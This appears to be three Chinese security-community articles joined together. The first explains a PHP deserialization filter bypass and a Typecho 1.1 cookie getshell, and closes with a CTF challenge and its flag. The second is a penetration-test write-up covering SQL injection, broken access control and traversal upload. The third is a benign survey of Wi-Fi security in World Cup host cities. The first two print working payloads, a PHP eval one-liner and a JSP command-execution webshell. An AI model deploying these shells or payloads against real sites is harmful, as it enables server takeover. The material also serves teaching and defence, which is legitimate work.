在PHP源码var_unserializer.c，对反序列化字符串进行处理，在代码568行对字符进行判断，并调用相应的函数进行处理，当字符为'O'时，调用
**yy13** 函数，在 **yy13** 函数中，对‘O‘字符的下一个字符进行判断，如果是':',则调用 **yy17** 函数,如果不是则调用
**yy3** 函数,直接return 0，结束反序列化。接着看 **yy17**
函数。通过观察yybm[]数组可知，第一个if判断是否为数字，如果为数字则跳转到 **yy20** 函数，第二个判断如果是'+'号则跳转到 **yy19**
，在 **yy19** 中，继续对 **+号** 后面的字符进行判断，如果为数字则跳转到 **yy20** ,如果不是则跳转到 **yy18** ，
**y18** 最终跳转到 **yy3** ，退出反序列化流程。由此，在'O:',后面可以增加'+'，用来绕过正则判断。
绕过了过滤以后，接下来考虑怎样对反序列化进行利用，反序列化本质是将序列化的字符串还原成对应的类实例，在该过程中，我们可控的是序列化字符串的内容，也就是对应类中变量的值。我们无法直接调用类中的函数，但PHP在满足一定的条件下，会自动触发一些函数的调用，该类函数，我们称为魔术方法。通过可控的类变量，触发自动调用的魔术方法，以及魔术方法中存在的可利用点，进而形成反序列化漏洞的利用。
在代码31行，对象销毁时会调用 **createCache()** 函数，函数将 `$template` 中的内容放到了 `$cacheFile`
对应的文件中。 **file_put_contents()** 函数，当文件不存在时，会创建该文件。由此可构造一句话，写入当前路径。
`$cacheFile` 和 `$template` 为类变量，反序列化可控，由此，构造以下反序列化内容，别忘了加'+'号
放入cookie需进行URL编码
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}
文件成功写入：
## 实例分析
本次实例分析，选取的是 **Typecho-1.1** 版本，在该版本中，用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于
**install.php** 文件 **230行** ，具体代码如下：
在上图代码 **第3行** ，对Cookie中的数据base64解码以后，进行了反序列化操作，该值可控，接下来看一下代码触发条件。文件几个关键判断如下：
第一个if判断，可通过GET传递 **finish=任意值** 绕过
，第二if判断是否有GET或者POST传参，并判断Referer是否为空，第四个if判断Referer是否为本站点。紧接着还有判断，如下图：
第一个if判断 **$_GET['finish']** 是否设置，然后判断 **config.inc.php文件**
是否存在，安装后已存在，第三个判断cookie中 **__typecho_config** 参数是否为空，不为空。进入else分支。综上，具体构造如下图：
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
反序列化结果存储到 **$config** 变量中，然后将 **$config['adapter']** 和 **$config['prefix']**
作为 **Typecho_Db** 类的初始化变量创建类实例。我们可以在 **var/Typecho/Db.php**
文件中找到该类构造函数代码，具体如下：
上图代码 **第6行** ，对传入的 **$adapterName** 变量进行了字符串拼接操作，对于PHP而言，如果 **$adapterName**
类型为对象，则会调用该类 **__toString()** 魔术方法。可作为反序列化的一个触发点，我们全局搜索一下 **__toString()**
，查看是否有可利用的点。实际搜索时，会发现有三个类都定义了 **__toString()** 方法：
* 第一处 **var\Typecho\Config.php** ：
调用 **serialize()** 函数进行序列化操作，会自动触发 **__sleep()** ，如果存在可利用的 **__sleep()**
，则可以进一步利用。
* 第二处 **var\Typecho\Db\Query.php** ：
该方法用于构建SQL语句，并没有执行数据库操作，所以暂无利用价值。
* 第三处 **var\Typecho\Feed.php** ：
在代码 **19行** ， **$this- >_items** 为类变量，反序列化可控，在代码 **27行** ， **$item['author']->screenName** ，如果 **$item['author']** 中存储的类没有'screenName'属性或该属性为私有属性，此时会触发该类中的
**__get()** 魔法方法，这个可作为进一步利用的点，继续往下看代码，未发现有危险函数的调用。
记一波魔术方法及对应的触发条件，具体如下：
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
在 **var/Typecho/Request.php** 的 **Typecho_Request** 类中，我们发现 **__get()**
方法，跟踪该方法的调用，具体如下图：
**array_map()** 函数和 **call_user_func** 函数，都可以作为利用点， **$filter** 作为调用函数，
**$value** 为函数参数，跟踪变量,看一下是否可控。这两个变量都来源于类变量，反序列化可控。从上面的分析中，可知当
**$item['author']** 满足一定条件会触发 **__get** 方法。
假设 **$item['author']** 中存储 **Typecho_Request** 类实例，此时调用 **$item['author']->screenName** ，在 **Typecho_Request** 类中没有该属性，就会调用类中的 **__get($key)** 方法，
**$key** 传入的值为 **scrrenName**
。参数传递过程如下：`$key='scrrenName'`=>`$this->_param[$key]`=>`$value`
我们将 **$this- >_param['scrrenName']** 的值设置为想要执行的函数，构造 **$this- >_filter**
为对应函数的参数值，具体构造如下：
接下来我们去看一下 **Typecho_Feed** 类的构造，该类在 **var/Typecho/Feed.php** 文件中，代码如下：
上图代码 **第7行** ，满足 **self::RSS2** 与 **$this- >_type** 相等进入该分支，所以 **$this->_type** 需要构造， **item['author']** 为触发点，需要构造 **$this_items** ，具体构造如下：
代码 **22行** 在实际利用没必要添加，install.php在代码 **54行** 调用 **ob_start()**
函数，该函数对输出内容进行缓冲,反序列化漏洞利用结束后，在 **var\Typecho\Db.php** 代码121行，触发异常，在
**var\Typecho\Common.php** 代码237行调用 **ob_end_clean()函数**
清除了缓冲区内容，导致无法看见执行结果，考虑在进入到异常处理前提前报错结束程序。由此构造该数据。执行结果如下：
## 修复建议
造成该漏洞的原因主要有两点：
* 当 **config.inc.php** 文件存在的时，可绕过判断继续往下执行代码。
* 传入反序列化函数的参数可控
修复方法：在 **install.php** 文件第一行判断 **config.inc.php** 是否存在，如果存在，则退出代码执行。
<?php
if (file_exists(dirname(__FILE__) . '/config.inc.php'))
exit('Access Denied');
?>
## 结语
看完了上述分析，不知道大家是否对 **反序列化** 漏洞有了一定的了解，文中用到的CMS可以从
[这里](https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。 **Day11**
的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
<?php
include "config.php";
class HITCON{
public $method;
public $args;
public $conn;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function source() {
highlight_file(__FILE__);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
?>
//config.php
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>
// flag.php
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?> | 社区文章 |
# 目标
* 某平台系统(www.target.net)
# 流程
本次渗透测试的流程图：
# 测试
拿到站点后先做信息收集，扫描目录看看有无敏感信息
寥寥无几，没有任何信息，启动burpsuite打开网站走一遍流程。
在创建目标处存在图片上传接口，上传shell试试。
没有任何过滤，可直接上传，但当前目录不解析，猜测`projectKey`控制上传路径
可跨目录上传，但当前`/webapp/test/uploadFile/`路径非网站根目录，爆破了常见网站目录但没有一个是正确的解析shell的，先放着后续是否能找到网站根路径然后再跨目录上传。
## 越权
在浏览到某个页面中看到了一处链接`/detail.shtml?key={{id}}`，拿出来浏览器中访问，测测是否存在越权或者SQL注入。
> <http://www.target.net/detail.shtml?key=1>
随便给个数值访问测试，发现只存在水平越权，不存在注入。
> <http://www.target.net/detail.shtml?key=>
去掉参数直接访问，却弹出来了报错页面。
该站点使用的是`spring`框架，重新使用spring相关接口路由字典扫一遍，还意外扫到了`druid`登录页面，但并不存在未授权访问和弱口令的漏洞，继续看swagger。
在swagger中找到了一处注入和敏感信息泄露。
## 敏感信息泄露
根据URL猜参数名`teamId`，查看到所有的团队信息。
这里也是一处越权。
## sql注入
同样猜参数名，未做任何过滤，单引号报错，直接上sqlmap一把梭。
## 越权添加用户
但翻了翻数据库并未找到管理员账号密码，不过找到了网站接口配置信息，将接口导出然后放到burpsuite里面跑
成功找到了越权添加/编辑用户接口，直接添加新管理员账号并登录。
## 任意文件上传
回到刚才文件上传处，通过sql注入报错页面我们找到了真实路径`/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml]`，修改`projectKey`值，用`../../../../`跨目录上传shell
# 疑问
在最后上传shell处，尝试了冰蝎、哥斯拉的马都无法正常解析，后来更换了带密码回显的jsp马才成功，请问这是什么原因？
<%
if("admin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%> | 社区文章 |
# FIFA公用Wi-Fi指南：哪个主办城市拥有最安全的无线网络？
|
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com/
原文地址：<https://securelist.com/fifa-public-wi-fi-guide/85919/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我们都知道用户在公共场所连接到开放的Wi-Fi非常容易，因此犯罪分子就可以将自己置于脆弱的Wi-Fi接入点，故此他们可以拦截网络流量并窃取用户的数据。
对于全球性活动，其wifi缺少必要的流量加密 – 例如在2018年即将到来的FIFA世界杯 – 为犯罪分子提供了特别肥沃的土壤。
考虑到这一点，足球迷们还能够在主办城市感受到无线网络安全吗？每个城镇的Wi-Fi安全性如何？为了回答这些问题，我们分析了11个国际足联世界杯主办城市的现有可靠接入点和不可靠接入点：
Saransk, Samara, Nizhny Novgorod, Kazan, Volgograd, Moscow, Ekaterinburg,
Sochi, Rostov, Kaliningrad, 和Saint Petersburg
该调查旨在保护用户的Wi-Fi连接和VPN。统计数据来自自愿同意收集其数据的用户。对于这项调查，我们只评估了公共Wi-Fi的安全性。即使小城镇的公共Wi-Fi点相对较少，但我们仍然有足够的分析样本 – 近32,000个Wi-Fi热点。在检查加密和认证算法时，我们计算了WPA2和开放网络的数量，以及它们在所有接入点中的份额。
## FIFA世界杯主办城市的无线网络安全
使用上述方法，我们评估了11个FIFA 2018世界杯主办城市中Wi-Fi接入点的安全性。
超过五分之一（22.4％）的FIFA 2018世界杯主办城市的Wi-Fi热点为不可靠网络。这意味着犯罪分子只需要位于接入点附近即可获取流量并获得用户数据。
约四分之三的接入点使用基于Wi-Fi保护接入（WPA /
WPA2）协议族的加密技术，这被认为是最安全的接入点之一。保护级别主要取决于设置，例如热点所有者设置的密码强度。复杂的加密密钥可能需要数年时间才能成功破解。
还应指出，即使是可靠的网络，如WPA2，也不能被自动视为完全安全。他们仍然会被暴力，字典和重装攻击破解，关于这一点有大量的在线教程和开源工具。
## 不安全Wi-Fi接入点的地理位置
最安全的城市（公共Wi-Fi）是Saransk，其中72％的接入点通过WPA / WPA2协议加密进行保护。
拥有不安全接入点比例最高的三大城市是圣彼得堡（48％的Wi-Fi接入点无安全保证），加里宁格勒（47％）和罗斯托夫（44％）。
同时应该注意结果的相对性。如果密码对每个人都可见，那么即使是咖啡馆中的WPA2连接也不会被认为是安全的。但即便如此，我们的调查还是建立于“Wi-Fi加密方法代表了Wi-Fi热点的安全情况”这一基础，并且这具有相当的准确性。
这项研究的结果显示，FIFA世界杯主办城市的Wi-Fi连接的安全性各不相同。因此。因此，我们建议用户遵循一些关键的安全规则。
## 对用户的建议
如果您打算前往任何2018年世界杯足球赛主办城市的区域，并在您身边时使用开放的Wi-Fi网络时，请记住遵循以下简单规则来帮助保护您的个人数据：
1.只要有可能，请通过虚拟专用网络（VPN）连接。使用VPN时，加密流量会通过受保护的隧道传输，这意味着即使可以窃取数据，犯罪分子也无法解密您的数据。
2.不要相信没有密码保护的网络，或者有易于猜测或易于查找的密码。
3.即使网络有强密码，您也应该保持警惕。例如，欺诈者可以在咖啡店找到网络密码，然后使用相同的密码创建假连接。这使他们能够轻松窃取个人用户数据。您应该只信任企业员工给您的网络名称和密码。
4.为了最大限度地保护您的隐私，请在您不使用Wi-Fi连接时关闭Wi-Fi连接。这也将节省您的电池容量。我们建议您禁用与现有Wi-Fi网络自动连接的功能。
5.如果您不能100％确定您使用的无线网络是安全的，但您仍然需要连接到互联网，请尝试避开有关用户的基本操作。您应该避免输入社交网络或邮件服务的登录详细信息，绝对不要执行任何网上银行操作或在任何地方输入您的银行卡详细信息。这样可以避免您的敏感数据或密码被拦截并被用于恶意操作。
6.为避免成为网络犯罪目标，您应在设备设置中启用“始终使用安全连接”（HTTPS）选项。建议您在访问您认为可能缺乏必要保护的网站时启用此选项。
审核人：yiwang 编辑：边边 | 社区文章 |
Subsets and Splits